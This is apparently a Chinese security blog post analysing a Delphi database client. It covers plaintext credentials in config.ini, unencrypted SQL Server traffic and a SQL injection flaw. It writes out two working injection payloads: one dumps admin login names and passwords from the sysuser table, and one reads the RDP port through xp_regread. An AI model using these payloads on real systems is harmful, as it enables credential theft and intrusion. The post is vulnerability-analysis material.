專注APT攻擊與防御
https://micropoor.blogspot.com/
程序的主要function,與 procedure
注:Delphi把操作數(shù)據(jù)的方法分成了兩種,一種是function,另一種是procedure,大致理
解為“函數(shù)”和“過程”。
Procedure類似C語言中的無返回值函數(shù),即VOID。而Function就是c語言中的有返回值函
數(shù),即沒有Void。
程序分為2種連接數(shù)據(jù)庫模式:
無論是本地模式,還是聯(lián)網(wǎng)模式,都是讀取,當前路徑的config.ini配置文件:
(導致敏感信息暴漏,可直連服務器)
繼續(xù)跟數(shù)據(jù)庫連接:配合SQL Server數(shù)據(jù)庫,直接帶入,可以判斷出為明文存儲。
config.ini配置如下:
基于TCP通信,SQL Server通信構架大致如下:
(可導致通信過程中抓取明文執(zhí)行)
代入執(zhí)行:
(導致可拼接sql語句,查詢任意語句或者執(zhí)行命令)
部分語句其中如下:
select distinct memberid,receivecompany from weigh where receivecompany is not
null and receivecompany like ''%'+xxxxxx+'%''
軟件呈現(xiàn)如下:
對應 收貨單位編號,以及收貨單位名稱。分別為:memberid,receivecompany
閉合語句為:
2' ; select loginid as memberid , password as receivecompany from sysuser --
抓取返回如圖:
得到admin 賬號以及密碼。
構造讀取遠程桌面端口號:
得到遠程服務器端口號
2' ; EXEC master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp','PortNumber' --
copy 獲取緩沖區(qū)內容:
(導致可從服務器端構造代碼)
copy 用法如下:
copy(a,b,c);
a:就是copy源,就是一個字符串,表示你將要從a里copy一些東西,
b:從a中的第b位開始copy(包含第11位),
c:copy從第b位開始后的c個字符,
exp: m:=‘the test fuck'
s:=copy(m,2,2); //s值為‘he’
當超出范圍,會發(fā)生異常錯誤。實例中,從服務器數(shù)據(jù)庫獲取數(shù)據(jù)后進行copy。
軟件登陸部分代碼如下:
(導致可自動化跑 loginid。)
多次嘗試錯誤處理如下:退出軟件,并且重新開始計算。
Micropoor